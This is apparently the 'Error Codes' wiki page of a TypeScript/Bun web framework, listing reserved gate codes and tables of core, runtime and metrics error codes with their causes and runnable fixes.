Error Codes

Error codes

Every framework failure is an UltimateError carrying a stable X_* code, a concrete cause, and the exact command or edit that fixes it. Same content in the terminal, the dev overlay, the HTTP body, the MCP tool result and --json.

X_DB_DRIFT: schema differs from migrations
  cause: table "posts" has column "publish_at" not present in any migration
  fix:   x db gen "add publish_at"

{"code":"X_DB_DRIFT","title":"schema differs from migrations","cause":"table \"posts\" has column \"publish_at\" not present in any migration","fix":"x db gen \"add publish_at\"","docs":"https://github.com/developerz-ai/ultimate/wiki/Error-Codes"}

The HTTP body is the same content as an RFC 9457 problem document — type, title, status, detail, plus code, cause, fix, docs, requestId and retry (terminal, retryable or retry-after: the class a client maps to an exception, on every document, a hidden 5xx included) as top-level extension members. Two more are carried when the error has them: issues, the per-field rejections of a validation failure, and meta, the keys of the error's own meta that the app declared for that code with registerProblemMeta (everything else in meta is operator-only and never leaves the process). Both are all-or-nothing and both are dropped, with cause, on a 5xx nobody classified.

Rule	Detail
Lookup	x errors explain <CODE> --json, or the MCP errors.explain tool — same content as this page
Uniqueness	one code is owned by exactly one package; a collision throws X_ERROR_CODE_DUPLICATE at registration
Stability	codes never change meaning. A renamed concept gets a new code and the old one stays documented
fix	always runnable or editable as written. If a fix reads "do the right thing", that is a bug — file it
Bare Error	never thrown by the framework. Anything caught is normalised through toUltimateError()
Registration	a code exists when its owning package calls registerErrorCodes(). That one call is what makes it explainable, unique and documented-or-fail — a code emitted as a Finding rather than thrown is registered the same way
App codes	an app declares each of its own codes ONCE: defineError({ code, title, status, cause, fix }) from @ultimat3/core/page (offSocket: true in place of status for a code no response carries) registers the title, the HTTP status and the retry, and returns the class to throw — throw new PostNotFound(ref), PostNotFound.is(error). A code with no status answers 500 and hides its cause, so the call makes you choose. An app code needs no row on this page; guards/error-declared.ts refuses a handwritten UltimateError subclass, a literal-coded new UltimateError and a defineError imported from the @ultimat3/core barrel, which carries the framework's titles tables into every island that throws (12,019 B against 6,507 B, one declaration thrown). A framework code goes through bun run new-error-code instead
Enforcement	the errors step of x verify fails on an empty or advice-only fix, or one that runs the command before the edit it needs (X_ERROR_FIX_INVALID), on a fix citing a file the repo does not have (X_ERROR_FIX_PATH_MISSING), on a declared code with no row on this page (X_ERROR_CODE_UNDOCUMENTED), on a row this page presents as live that no package registers (X_ERROR_CODE_UNREGISTERED), and on a code: reached through a name nothing in its own file declares (X_ERROR_CODE_UNRESOLVED)

As of 2026-10 every code above Reserved codes resolves through x errors explain, with one exception the gate knows about: this repository's own gate scripts (X_BOUNDARY_VIOLATION, X_ROADMAP_*, X_REFERENCE_APP_*, X_TRUST_*, X_CATALOG_CARRIER_UNSCANNED, X_CATCH_RENDER_PIN_STALE, X_CATCH_RENDER_UNSAFE, X_CATCH_RENDER_UNSCANNED, X_CONFIG_KEY_UNREAD, X_CONFIG_READERS_UNSCANNED, X_CONFIG_READER_PIN_STALE, X_DECLARED_KEY_UNREAD, X_DECLARATION_READER_PIN_STALE, X_DECLARATION_READERS_UNSCANNED, X_DOC_COMMAND_PIN_EXCEEDED, X_DOC_CONFIG_KEY_UNKNOWN, X_DOC_CONFIG_ALLOWANCE_STALE, X_SCAFFOLD_VERIFY_UNREADABLE, X_TIER_FLOOR_STALE, X_TIER_FLOOR_UNDECLARED, X_SCAFFOLD_OVERRIDES_EMPTY, X_SCAFFOLD_GATE_RED, X_SCAFFOLD_FIRST_RUN_FAILED, X_SETUP_INSTALL_FAILED, X_ADMIN_FLATTENER_VIOLATION, X_CONFIG_IMPORT_OUTSIDE_LOADER, X_ERROR_RENDER_UNSAFE, X_ERROR_STATUS_MISSING, X_ERROR_STATUS_BACKLOG_STALE, X_ERROR_STATUS_UNKNOWN_CODE, X_CATALOG_KEY_UNREACHABLE, X_PUBLISH_LIST_INCOMPLETE, X_PUBLISH_LIST_UNKNOWN, X_BENCH_CLAIM_STALE, X_BENCH_URL_REQUIRED, X_BENCH_STREAM_CLOSED, X_BENCH_RUN_TOO_SHORT, X_BENCH_RUN_FAILED, X_WIKI_TABLE_MALFORMED, X_WIKI_TABLE_UNSCANNED, X_FRAME_DOCS_STALE, X_CHART_VERSION_STALE, X_IMAGE_LIBC_MISMATCH, X_IMAGE_GUARD_MISSING, X_IMAGE_SECRET_UNIGNORED, X_IMAGE_CONTENT_UNIGNORED, X_DOC_FIX_UNRUNNABLE, X_DOC_FIX_UNSCANNED, X_DOC_FIX_DISAGREES, X_DOC_FIX_DISAGREES_PIN_STALE, X_DOC_CAUSE_ECHOES_TITLE, X_DOC_COMMAND_UNKNOWN, X_DOC_COMMAND_ALLOWANCE_STALE, X_DOC_COMMAND_UNSCANNED, X_DOC_COMMAND_PIN_STALE, X_DOC_TEST_PATH_BARE, X_DOC_TEST_PATH_UNSCANNED, X_TSCONFIG_PATH_MISSING, X_TSCONFIG_PATH_STALE, X_TSCONFIG_PATHS_UNSCANNED, X_DOC_GATE_STEPS_STALE, X_DOC_GATE_STEPS_UNSCANNED, X_DOC_SETUP_COMMAND_STALE, X_DOC_SETUP_COMMANDS_UNSCANNED, X_DOC_SETUP_COMMAND_STALE, X_DOC_SETUP_COMMANDS_UNSCANNED, X_README_EXAMPLE_UNCOMPILED, X_README_EXAMPLE_PIN_STALE, X_README_EXAMPLE_UNSCANNED, X_README_SAMPLE_DRIFT, X_README_FACTS_DRIFT, X_PRODUCTION_APPS_DRIFT, X_ADOPTION_CLAIM_UNGENERATED, X_PACKAGE_README_SHAPE, X_PACKAGE_KEYWORDS_MISSING, X_VERSION_STAMP_STALE, X_VERSION_STAMP_DUPLICATE, X_VERSION_LOCKSTEP_BROKEN, X_VERSION_STAMP_UNSCANNED, X_COVERAGE_BELOW, X_COVERAGE_PIN_STALE, X_COVERAGE_UNMEASURED, X_TEST_TYPECHECK_REGRESSED, X_TEST_TYPECHECK_PIN_STALE, X_TEST_TYPECHECK_UNSCANNED, X_DOC_FILE_COUNT_STALE, X_DOC_FILE_COUNT_UNSCANNED, X_DOC_RELEASE_FACT_STALE, X_DOC_RELEASE_FACT_UNSCANNED, X_DOC_PACKAGE_GRAPH_STALE, X_DOC_PACKAGE_GRAPH_UNSCANNED, X_TEST_FIX_UNRUNNABLE, X_TEST_FIX_PIN_STALE, X_TEST_FIX_UNSCANNED, X_TEST_THROW_NOT_THROWN, X_TEST_BARE_ERROR, X_TEST_BARE_ERROR_PIN_STALE, X_TEST_BARE_ERROR_UNSCANNED, X_SOURCE_BARE_ERROR, X_SOURCE_BARE_ERROR_EXEMPT_STALE, X_TEST_REAL_SLEEP, X_TEST_REAL_SLEEP_PIN_STALE, X_TEST_REAL_SLEEP_UNSCANNED, X_RELEASE_VERSION_UNSTATED, X_RELEASE_FLAG_UNKNOWN, X_RELEASE_TREE_DIRTY, X_RELEASE_BRANCH_NAME, X_RELEASE_VERSION_INVALID, X_RELEASE_MAJOR_WINDOW, X_BREAKING_ON_MAIN, X_RELEASE_UNDEPRECATED_REMOVAL, X_CHANGELOG_HIGHLIGHTS_MISSING, X_DOC_CHANGELOG_SECTION_INVALID, X_DOC_CHANGELOG_UNRELEASED_BREAKING, X_DOC_MIGRATION_COUNT_STALE, X_DOC_MIGRATION_SECTION_MISSING, X_DOC_MIGRATION_UNSCANNED, X_DOC_MIGRATION_UNPAIRED, X_DOC_MIGRATION_RANGE_STALE, X_DOC_GUARD_REFRESH_UNSTATED, X_RELEASE_UNRELEASED_MISSING, X_RELEASE_TAG_UNREACHABLE, X_RELEASE_WINDOW_UNREADABLE, X_RELEASE_HEAD_NOT_MAIN, X_HEALTH_ROW_UNREADABLE, X_LOCKFILE_STALE, X_REGISTRY_BOOTSTRAP_OWED, X_REGISTRY_LATEST_DRIFT, X_REGISTRY_UNATTESTED, X_REGISTRY_UNREACHABLE, X_REGISTRY_VERSION_BEHIND, X_GATE_CODE_UNDOCUMENTED, X_GATE_CODE_BACKLOG_STALE, X_SIDE_EFFECTS_*, X_DEAD_DOCS_HOST, X_DEAD_DOCS_HOST_PIN_STALE, X_DEAD_DOCS_HOST_UNSCANNED, X_SECRET_COMPARED_UNSAFELY, X_SECRET_COMPARE_PIN_STALE, X_SECRET_COMPARE_UNSCANNED, X_VERSION_STAMP_PIN_STALE, X_WORKSPACE_MANIFEST_UNREADABLE, X_CONFIG_KEY_READER_AMBIGUOUS, X_PROTO_CHAIN_INDEX, X_PROTO_CHAIN_INDEX_PIN_STALE, X_PROTO_CHAIN_INDEX_UNSCANNED, X_NODE_IMPORT_UNEXPLAINED, X_NODE_IMPORT_PIN_STALE, X_NODE_IMPORT_UNSCANNED, X_FLIGHT_RANDOM_UNINJECTED, X_FLIGHT_SECOND_CURVE, X_HELPER_COPY, X_NOT_IMPLEMENTED_COPY, X_NOT_IMPLEMENTED_COPY_UNSCANNED, X_FRAMEWORK_TABLE_UNAPPLIED, X_FRAMEWORK_TABLE_UNSCANNED, X_SQL_LITERAL_COPY, X_SQL_LITERAL_UNSCANNED, X_INDEX_ORDER_UNGUARDED, X_INDEX_ORDER_PIN_STALE, X_INDEX_ORDER_PIN_UNEXPLAINED, X_INDEX_ORDER_UNSCANNED, X_SKIP_CLEANUP_UNREACHED, X_SKIP_CLEANUP_UNSCANNED, X_TEST_DISCOVERY_UNSEEN, X_TEST_DISCOVERY_UNSCANNED, X_PROBE_DATABASE_FIXED, X_SPAWN_UNTIMED, X_SPAWN_TIMEOUT_PIN_STALE, X_SPAWN_TIMEOUT_PIN_UNEXPLAINED, X_SPAWN_TIMED_OUT, X_FETCH_UNBOUNDED, X_FETCH_DEADLINE_PIN_STALE, X_FETCH_DEADLINE_PIN_UNEXPLAINED, X_FINITE_BOUND_UNCHECKED, X_FINITE_BOUND_PIN_STALE, X_FINITE_BOUND_UNSCANNED, X_VOCABULARY_REDECLARED, X_VOCABULARY_UNSCANNED, X_FROZEN_RECORD_INFERRED, X_FROZEN_RECORD_UNSCANNED, X_CONFIG_READER_PIN_UNEXPLAINED, X_SECRET_COMPARE_PIN_UNEXPLAINED, X_PROTO_CHAIN_INDEX_PIN_UNEXPLAINED, X_FIX_SHELL_ARG_UNSCREENED, X_FIX_SHELL_ARG_PIN_STALE, X_FIX_SHELL_ARG_PIN_UNEXPLAINED, X_FIX_SHELL_ARG_UNSCANNED, X_BROWSER_TRANSPORT_UNSCANNED, X_CHANNEL_LITERAL, X_CHANNEL_LITERAL_UNSCANNED, X_SEAL_CALL_OUTSIDE_CORE, X_SEAL_CALL_UNSCANNED, X_KEYED_HASHER, X_KEYED_HASHER_EXEMPT_STALE, X_INSTRUMENT_SLOT_FORBIDDEN, X_INSTRUMENT_SLOT_ALLOWANCE_STALE, X_ADAPTER_PORT_INCOMPLETE, X_CLI_OUTBOUND_UNDECLARED, X_CLI_OUTBOUND_ALLOWANCE_STALE, X_PRIVATE_NAME, X_PRIVATE_NAMES_UNSET, X_GUARD_LOAD_FAILED, X_BUDGET_RAISE_UNSTATED, X_NEW_ERROR_CODE_INVALID, X_NEW_ERROR_CODE_EXISTS, X_NEW_ERROR_CODE_PATTERN_UNKNOWN, X_BUDGET_BASE_MISSING, X_PIN_RAISE_UNSTATED, X_PIN_BASE_MISSING, X_CORPUS_UNSCANNED, X_DOC_UNRELEASED_STALE, X_DOC_UNRELEASED_PIN_STALE, X_LLMS_TXT_DRIFT, X_GUARDS_DOC_DRIFT, X_GUARDS_DOC_UNSCANNED, X_CLAUDE_MD_OVERSIZE, X_CLAUDE_MD_UNSCANNED, X_CONFIG_READER_APP_UNREAD, X_FIX_PROSE, X_FIX_PROSE_PIN_STALE, X_FIX_PROSE_PIN_UNEXPLAINED, X_FIX_PROSE_UNSCANNED, X_DOC_PATH_DEAD, X_ROOT_BIN_REINTRODUCED, X_VERIFY_PART_UNNAMED, X_PLAN_STATUS_INVALID, X_PLAN_STATUS_UNSCANNED, X_URL_PATHNAME_AS_PATH, X_RELATIVE_PATH_NOT_POSIX, X_SET_COOKIE_HAND_BUILT, X_SET_COOKIE_PIN_STALE, X_SET_COOKIE_UNSCANNED, X_FACTORY_NAME_SPELLING, X_CORE_THROWER_UNCALLED, X_CORE_THROWER_PIN_STALE, X_CORE_THROWERS_UNSCANNED, X_SQL_EXPORT_UNREAD, X_SQL_EXPORT_UNSCANNED, X_WIKI_EXAMPLE_UNCOMPILED, X_WIKI_EXAMPLE_PIN_STALE, X_WIKI_EXAMPLE_UNSCANNED, X_WIKI_ANCHOR_DEAD, X_WIKI_ANCHOR_UNSCANNED, X_KNOWN_GAP_LINK_MALFORMED, X_KNOWN_GAP_UNSCANNED, X_KNOWN_GAP_UNPINNED, X_KNOWN_GAP_PIN_STALE, X_DOC_TUTORIAL_DIVERGED, X_DOC_UID_STALE, X_DOC_UID_UNSCANNED, X_DOC_BOUNDARY_RULES_STALE, X_DOC_BOUNDARY_RULES_UNSCANNED, X_SOURCE_HEADER_MISSING, X_SOURCE_HEADER_OUT_OF_CONTRACT, X_SOURCE_HEADER_PIN_STALE, X_SOURCE_HEADER_UNSCANNED, X_DEPENDENCY_NOT_ALLOWLISTED, X_DEPENDENCY_ALLOWLIST_STALE, X_DEPENDENCY_UNSCANNED, X_DEPENDENCY_RANGE_CONFLICT) never ship, so no package may own them. See Troubleshooting for symptom-first triage and CLI reference for the commands named in the fixes.

Core and runtime

Code	Means	Typical cause	Fix
X_ABORTED	operation aborted	the AbortSignal on ctx fired: client disconnected, or a deadline passed — including a job past its timeout, whose steps are refused from that point on	add throwIfAborted(ctx) before expensive work, and make each vendor call with outbound({ url, vendor, dial, deadlineMs }) from @ultimat3/core/outbound, which hears ctx.signal — unwind at the deadline instead of running past it
X_TIMEOUT	operation exceeded its deadline	a request that ran past the configured requestTimeoutMs (30s), or past the shorter budget its caller sent as x-request-timeout-ms. The abort fires first for cooperative code, so this is what the socket gets when the handler never looked at ctx.signal. The same object is rethrown by a write attempted past the deadline: a transaction rolls back, an entity write and an enqueue refuse, so an unkeyed retry does not duplicate it. Core owns the code and classifies it retryable; @ultimat3/http throws it and maps it to 504	make every vendor call with outbound({ url, vendor, dial, deadlineMs }) from @ultimat3/core/outbound, which hears ctx.signal and the deadline, and call throwIfAborted(ctx) before expensive work, or call configureHttp({ requestTimeoutMs: 60_000 }) at module scope in a file under apps/*/. A write past the deadline is refused: wrap work that must land whole, runToCompletion(() => withTransaction(fn)), never a statement inside the transaction, whose COMMIT stays refused
X_INTERNAL	unexpected internal framework error	a non-Ultimate error escaped into framework code	fix the failure named in cause, then re-run
X_INVARIANT	invariant violated	framework state that "cannot happen" happened	report it with x doctor --json output attached
X_UNREACHABLE	unreachable branch was reached	an exhaustive switch met a value the type says cannot exist	narrow the union at the call site
X_NOT_IMPLEMENTED	this driver does not implement the requested feature	an interface-complete driver whose remote half is unwritten	use the default driver, or implement the named method
X_ASYNC_CONTEXT_UNAVAILABLE	async context unavailable	node:async_hooks is stubbed to {} in this runtime, so nothing can be made ambient — a browser bundle	the scope is server-only: open it in apps/web/server.ts or a route handler, and keep every module that opens one out of the import graph of a client island entry
X_NO_CONTEXT	no request context is active	framework code called outside the ALS context	runWithContext(ctxOf({ … }), fn)
X_SERVICE_MISSING	service is not registered on the request context	ctx.<service> used without providing it	pass it in ctxOf({ services: { … } })
X_SERVICE_DUPLICATE	a service name is registered twice	two defineService('name', ...) calls used the same name	rename one of the two declarations
X_ROLE_INVALID	ROLE is not a known runtime role	typo or an old role name in the env	set ROLE to web, sync, worker, scheduler, migrate or replicator
X_DRAINING	process is draining and refuses new work	work arrived after SIGTERM	retry against another replica; the LB should already have removed this one
X_SHUTDOWN_TIMEOUT	graceful shutdown exceeded its deadline	an in-flight handler outlived DRAIN_TIMEOUT	raise configureLifecycle({ deadlineMs }) or shorten the slow handler
X_FLIGHT_GATE_OVERLOADED	a concurrency gate is at its ceiling and its queue is full	more callers asked for a bounded resource than flightGate({ maxConcurrent, maxQueued }) admits — argon2 hashes, a browser pool, any work whose cost is memory rather than CPU time. Past the queue bound the answer is a refusal and never a longer queue: an unbounded queue turns a load spike into a memory fault and answers it minutes late. meta carries active, queued, both bounds and retryAfterSeconds, so it is classified retry-after and @ultimat3/http renders the header from it	retry after the Retry-After header, or widen the ceiling at the flightGate({ maxConcurrent, maxQueued }) call site — only if the box has the capacity the extra slots buy
X_SUPERSEDED	a later generation superseded this work	an answer came back for a generation the fence has already moved past — a reload, a resubscribe or a re-render whose predecessor finished late. Classified terminal, and declared rather than defaulted: re-running superseded work produces this same refusal by construction, so an unclassified reading would spend a job's whole retry policy proving that the world has still moved on	discard this answer and re-issue the work against fence.generation() — whoever called bump() has already started the replacement
X_CLIENT_TRANSPORT_FAILED	a browser request got no answer from the app	clientTransport got no usable answer. Three ways: the network refused or dropped the request (fetch rejected with a TypeError); a non-2xx body named no framework code, so a proxy or gateway answered instead of the app; or a 2xx body was not JSON. meta.failure says which: 'network' (no response at all), 'status' (a non-2xx no framework code explained) or 'body' (a 2xx that was not JSON; the write may have landed). That is TransportFailure in @ultimat3/core. A read, and a write carrying an idempotencyKey, are classified retryable. A write with no key is not, because it may already have landed. A non-2xx is retryable only when its status is	x doctor --json checks the network and the gateway in front of the app, then retry. Give a write an idempotencyKey before you retry it
X_CLIENT_RECORD_ENVELOPE_INVALID	a response marked as a records envelope has the wrong shape	a response carried x-ultimate-records: 1, and its body is not { data, records?, removed? }: no own data, records not record type → record key → row, or removed not record type → list of keys. The cause names the position and never echoes the body	build the body with encodeRecordEnvelope() from @ultimat3/core in the handler that set the header, or stop setting the header
X_CLIENT_SCOPE_CHANGED	the page changed principal while this request was in flight	rescope() moved the page to another principal while a read was in flight. The read's answer belongs to the previous principal, so it is aborted and nothing from it is adopted. A write in flight is never refused with this: it finishes, and its records are dropped. Classified terminal. isSuperseded(error) answers true	discard the answer and render nothing for it: if (isSuperseded(error)) return; with isSuperseded from @ultimat3/core, then read again under the new principal
X_READINESS_CHECK_DUPLICATE	a readiness check name is registered twice	two registerReadinessCheck('<name>', check) calls under one name. A silent replacement leaves the probe an operator believes is running unreachable, and /readyz green on the strength of the one that replaced it — the cause lists every name already registered	name the second check for what it actually probes, e.g. registerReadinessCheck('<name>-replica', check) — or hold the unregister the first registration returned and call it first
X_LIFECYCLE_DRAINED	a drained process cannot become ready again	a role called markReady() in a process whose lifecycle has already drained — a second httpServer().start(), or a boot that started a role after SIGTERM arrived. state never leaves stopped and drain() memoizes, so the socket such a role binds answers 503 to every request and nothing is left to close it: measured, still accepting connections after its own stop() returned. A container role (runRole) whose boot meets it because SIGTERM arrived mid-boot does NOT surface it: that is a rollout superseding the pod, so the boot finishes the drain, logs ultimate boot interrupted by shutdown at info with this code, and exits 0 (As of 2026-10-17)	start every role BEFORE the first drain — a drained process is on its way out and is replaced, never reused. In a test, call resetLifecycle() from @ultimat3/core between the drain and the next start()
X_ERROR_RETRY_INVALID	error retry classification is unknown or already claimed	registerErrorRetry() given a kind that is not terminal, retryable or retry-after, or a second, different classification for one code. Core's own codes are closed to reclassification: an app that could call X_DRAINING terminal would stop the retry a rolling restart depends on	x errors list --json — then registerErrorRetry({ <CODE>: 'retryable' }) with one of terminal, retryable, retry-after
X_ID_INVALID	value is not a valid id	a hand-built string passed where a typed id is required	generate ids with uuidV7() / typedId<'post'>() from @ultimat3/core
X_CURSOR_INVALID	pagination cursor is malformed, tampered with or from another query	signature mismatch — an edited cursor, or ULTIMATE_CURSOR_SECRET rotated — or a cursor built for a different query, filter or sort order	drop the cursor and request the first page (after: null)
X_CURSOR_SECRET_DEV	cursors are signed with the shipped development key	ULTIMATE_CURSOR_SECRET is unset — or set to the EMPTY string, which counts as unset and never as an empty HMAC key — outside development/test, so the signing key is the constant published in @ultimat3/core and a client can forge a page position. A process naming NO environment (ULTIMATE_ENV/NODE_ENV both unset) counts as production. Reported by x doctor as a warning, and thrown at boot by assertNoDevSecretsOutsideLocal()	openssl rand -hex 32 # put the output in this deploy's secret store as ULTIMATE_CURSOR_SECRET; this machine: ULTIMATE_ENV=development x env check
X_ERROR_CODE_DUPLICATE	error code registered twice	two packages declared the same code	rename the colliding code in the registering package's src/errors.ts
X_ERROR_REPORTER_DSN_INVALID	the error monitor DSN is malformed	SENTRY_DSN is not a URL, carries no public key, names no project, or uses a scheme that is not http/https. Thrown at boot rather than at the first failure, because a monitor that was never connected looks exactly like an app that never failed	set SENTRY_DSN=https://<publicKey>@<host>/<projectId> in .env, then run x env check
X_REGISTRAR_MISSING	no registrar is loaded for a primitive kind	the owning package is absent from the graph, so nothing announced a registrar — defineApi({ queries }) without @ultimat3/query. meta.kind names the kind, and a kind is not a package name: action and mutator → @ultimat3/action, job and task → @ultimat3/jobs, route → @ultimat3/render, entity, policy, query → their own. Importing the owner is what announces	bun add <owning package> — e.g. bun add @ultimat3/jobs for a missing task registrar; the error's own fix: names it
X_REGISTRAR_CONFLICT	two different registrars are loaded for one primitive kind	two copies of the kind's owning package in the dependency tree (task → @ultimat3/jobs, mutator → @ultimat3/action, route → @ultimat3/render), each with its own registry, so half the primitives register where nothing reads them. bun pm why <owning package> names the dependents when ranges genuinely disagree	bun update <owning package> — the error's own fix: names it
X_SECRETS_KEY_ACL_FAILED	key file ACL not owner-only	on Windows, icacls refused to cut the new key file ACL to the current account, so no key was written	where.exe icacls — then whoami; or keep no key file and set ULTIMATE_SECRETS_KEY
X_COOKIE_INVALID	a Set-Cookie value would be dropped, misread or injectable	serializeSetCookie() was given a name, value or attribute a browser rejects or that could split the header	serializeSetCookie(name, value, options) — correct the field named in meta.field, as the cause says
X_OUTBOUND_TIMEOUT	an outbound HTTP call passed its deadline or went idle	outbound() waited past the call's deadlineMs (retries and waits included), or a response body sent nothing for idleMs. The vendor or the network is slow, or the bound is tighter than the vendor's real latency. Retryable: nothing about the request was wrong	outbound({ url, vendor, dial, deadlineMs: 30_000, idleMs: 60_000 }) — raise the bound on the call that names meta.vendor
X_OUTBOUND_UNREACHABLE	an outbound HTTP call got no response	outbound() could not resolve the host, connect, finish TLS, or the connection was reset before a response arrived. The vendor is down, or an egress rule drops the traffic. Retryable	curl -sS -m 5 -o /dev/null <meta.origin> — reachable from here? Else check the egress rule and the vendor's status, then re-run the call
X_OUTBOUND_THROTTLED	an outbound HTTP call was told to wait	the vendor answered a retryable status (429, 503) with a Retry-After header, and outbound()'s attempts or deadline ran out before the stated delay. meta.retryAfterSeconds carries the delay	wait meta.retryAfterSeconds before calling meta.vendor again, or lower the call rate at the site that calls outbound()
X_OUTBOUND_UNAVAILABLE	an outbound HTTP call answered a retryable status	the vendor answered 5xx, 408, 409, 425 or 429 with no stated delay, on every attempt outbound() made. The vendor's fault, not the request's: meta.status names the status	curl -sS -m 5 -o /dev/null -w '%{http_code}\n' <meta.origin> — the vendor's fault: re-run the call; if meta.status persists, check the status page of the vendor meta.vendor names
X_OUTBOUND_REFUSED	an outbound HTTP call answered a non-retryable status	the vendor answered a non-2xx status that the same request will get again: 400, 401, 403, 404, 422. meta.status names it and meta.detail carries the first 200 characters of the body, redacted. A 401 is a credential to refresh: the app refreshes and calls again	fix the request or the credential meta.vendor was called with, reading meta.status and meta.detail; on a 401 refresh the token, then call outbound() again
X_OUTBOUND_TOO_LARGE	an outbound HTTP response body passed its byte cap	the response body passed outbound()'s maxBytes (default 16 MiB): the read was cancelled at the cap and nothing past it was held	outbound({ url, vendor, dial, deadlineMs, maxBytes: 64 * 1024 * 1024 }) to raise the cap, or read: 'stream' to consume the body in chunks
X_OUTBOUND_HOST_BLOCKED	an outbound HTTP call refused the address it would reach	dial: 'public' refused the URL: not https outside a local environment, credentials in the URL, a host that resolves to a loopback, private, link-local or reserved address, or a redirect hop that does	use a public https:// URL for meta.vendor, or dial: 'named' for a host the app itself names in code
X_OUTBOUND_REDIRECTED	an outbound HTTP call answered a redirect	the vendor answered 3xx and outbound() runs with redirect: 'error' by default, so a hop is never followed silently. meta.location names where it pointed	call the final URL meta.location names, or pass redirect: 'follow' to outbound()
X_OUTBOUND_RETRY_UNSAFE	a retry was asked for on a write that is not idempotent	outbound() was given retry on a POST or PATCH without idempotent: true. A replayed write is a second charge, so the call is refused before anything is sent	add idempotent: true to the outbound() call with the vendor's idempotency-key header, or drop retry
X_OUTBOUND_BODY_INVALID	an outbound HTTP response did not match its schema	json(schema) on an outbound() answer refused the body: the vendor changed its shape, or the schema is wrong. meta.issues names the rejected paths	edit the schema passed to answer.json(schema) for meta.vendor, or ask the vendor whether the response changed
X_BREAKER_OPEN	a circuit breaker is open and refused the call	the dependency meta.name names failed failures times in a row, so the breaker refuses calls until cooldownMs passes and one probe succeeds. meta.retryAfterSeconds is the time left	wait meta.retryAfterSeconds; check the dependency meta.name names; raise failures in breaker({ name, failures, cooldownMs }) or adjust its classify if this outage is not one
X_ERROR_DECLARATION_INVALID	a defineError declaration is malformed	defineError() given both or neither of status and offSocket, a status outside 100-599, or a code that is not X_ followed by SCREAMING_SNAKE words	edit the defineError call the cause names, then x verify --only errors
X_CLIENT_ERROR	a browser reported an uncaught failure	an app/ page threw in the browser: a window error, an unhandled rejection or an island whose mount() rejected — the report's cause is the browser's own message, capped, and meta.clientBuild is the build the tab was rendered by	x shot <route> --json
X_HTTP_PATH_INPUT_CONFLICT	a path parameter and the request body or query name one key with two values	a route pinned with a :param template (http: { path }) received the same key in the body or query string with a different value than the URL carries	send the key once: omit it from the body or query string, the URL already carries it (POST /orders/123/refund with body {}) — or send the identical value in both
X_ERROR_UNDECLARED	a handler threw a 4xx code its errors: list does not declare	an action or query declares errors: and its handler threw a refusal outside that list, in a test or development run or in the contract scan of the handler source	add '<CODE>' to errors: in the declaration the cause names, or stop throwing it there, then: x verify --only contract
X_ACTION_ERRORS_INVALID	an errors: list names a code that cannot be declared there	an action or query lists a code in errors: that is not X_SCREAMING_SNAKE, has no registered 4xx status, or is listed twice	declare the code with defineError({ code, title, status, cause, fix }) first (a 4xx status), then list it once; x errors explain <CODE> --json
X_CONTRACT_EXERCISE_ENVIRONMENT	a contract exercise was asked to run in a deployed environment	exerciseAction/exerciseQuery ran with ULTIMATE_ENV or NODE_ENV set to staging or production	run the .contract() test under bun test (NODE_ENV=test)
X_CONTRACT_EXERCISE_UNSCOPED	a contract exercise could not roll back its writes	no database client installed and no transaction open, outside the test environment	setDbClient(<test client>) before .contract(), or run under bun test
X_IMAGE_RASTER_BUDGET	a synchronous raster transform is over the web role pixel budget	a crop or composite asked of the web role where no raster Worker could start (a compiled executable, or a Worker that never loaded), whose inline inflate + deflate would touch more than RASTER_SYNC_PIXELS (409,600) pixels — at the measured worst rate, more than 50 ms of a blocked event loop	warm the variants off the request path: call warmVariants({ disk, key, widths, formats }) from @ultimat3/storage (packages/storage/src/image-warm.ts) in a job on the worker role, so the media route answers from storage; or run the role from source so transformImageBytes reaches its Worker

Metrics

Counter, gauge and histogram live in @ultimat3/core (metrics.ts), aggregate in process, and are read through one collectMetrics(). The wire format is a driver: MetricExporter is the seam, the default is a no-op, and metricsText() renders the Prometheus/OpenMetrics scrape body behind METRICS_PATH. An OTLP client ships As of 2026-08: otlpMetricExporter() and otlpSpanExporter() speak OTLP/HTTP JSON and read OTEL_EXPORTER_OTLP_ENDPOINT, with no new dependency. gRPC on :4317 is refused by design; scraping /metrics with an agent stays equally supported.

The three series docker/helm autoscales on are http_requests_total (the counter rps is derived from), connections and queue_demand — SCALING_METRICS in runtime-metrics.ts maps each ScalingSignal to its series, so the role table and the chart cannot drift apart.

Code	Means	Typical cause	Fix
X_METRIC_NAME_INVALID	metric name is malformed, or redeclared with a different kind, bounds or observer	a name that is not lowercase snake_case — dotted OTel names survive OTLP but not a Prometheus scrape, and the autoscaler reads the scrape — or one name declared as both a counter and a gauge, or a second histogram('x', { bounds }) / gauge('x', { observe }) whose stated option differs from the first. An omitted option is still a handle-fetch, so gauge(name) keeps working	rename the instrument: counter('http_requests_total'), one metric name to one kind; or make the second declaration state the same bounds/observe as the first
X_METRIC_VALUE_INVALID	metric value is not recordable	a NaN/Infinity observation, or a counter decremented — a counter is a cumulative total and only goes up	pass a finite value, and use gauge(name) for a number that can fall
X_METRIC_CARDINALITY	a metric exceeded its series ceiling and is folding into one overflow series	an unbounded label at the call site — a user id, a path, an email — so every distinct value mints a series and the scrape grows without limit. Past maxSeries every further label set folds into one otel_metric_overflow="true" series, reported once per instrument rather than once per observation. Also raised at declaration for a maxSeries that is not a positive integer	drop the unbounded label from the call site, or raise it deliberately: counter('orders_total', { maxSeries: 4000 })
X_OTLP_ENDPOINT_INVALID	the OTLP collector endpoint is missing or malformed	OTEL_EXPORTER_OTLP_ENDPOINT unset with none passed, a value that is not a URL, a scheme that is not http/https, or the collector's gRPC receiver on :4317 — OTLP/HTTP JSON is served on :4318, and an exporter pointed at the wrong port drops every batch with a transport error and no metrics	set OTEL_EXPORTER_OTLP_ENDPOINT=http://otel-collector:4318, or skip the exporter when tryOtlpEndpoint('<signal>') is undefined
X_OTLP_HEADERS_INVALID	OTEL_EXPORTER_OTLP_HEADERS is malformed	in OTEL_EXPORTER_OTLP_HEADERS or the per-signal OTEL_EXPORTER_OTLP_TRACES_HEADERS / ..._METRICS_HEADERS that replaces it for its signal — the cause names the variable read — a percent-escape in one header value that decodeURIComponent cannot decode — a stray % meant literally (api-key=100%), or a truncated escape (%zz). Refused rather than kept raw: an operator-set variable with a bad escape is a misconfiguration, and sending the undecoded bytes would authenticate against nothing while looking like a collector outage. The header key is named in the cause and the fix; the value never is, because a header value is a credential	set <the variable the cause names>=<key>=<encoded>, where <encoded> is what bun -e 'console.log(encodeURIComponent(process.argv[1]))' <value> prints — or drop the stray % if it was meant literally
